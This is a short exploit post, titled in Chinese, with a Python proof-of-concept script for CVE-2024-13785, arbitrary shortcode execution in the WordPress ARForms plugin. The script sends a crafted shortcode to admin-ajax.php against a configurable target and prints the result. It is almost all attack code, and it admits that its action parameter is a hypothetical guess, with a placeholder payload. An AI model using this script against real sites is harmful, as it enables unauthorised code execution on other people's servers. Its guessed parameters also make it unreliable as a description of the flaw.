CVE-2024-13785 WordPress ARForms插件任意Shortcode执行漏洞

import requests def exploit_arforms(target_url): """ PoC for CVE-2024-13785: Arbitrary Shortcode Execution in ARForms Plugin. This script sends a malicious payload to execute arbitrary shortcodes. """ # The AJAX endpoint for WordPress ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable payload containing a malicious shortcode # Replace [system]ls -la[/system] with a shortcode available on the target server payload = { "action": "arforms_public_action", # The vulnerable action parameter (hypothetical name based on vuln description) "item_id": "[malicious_shortcode]" # The parameter that gets passed to do_shortcode without validation } try: print(f"[+] Sending payload to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response (check for execution output):") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with the actual target URL exploit_arforms(target)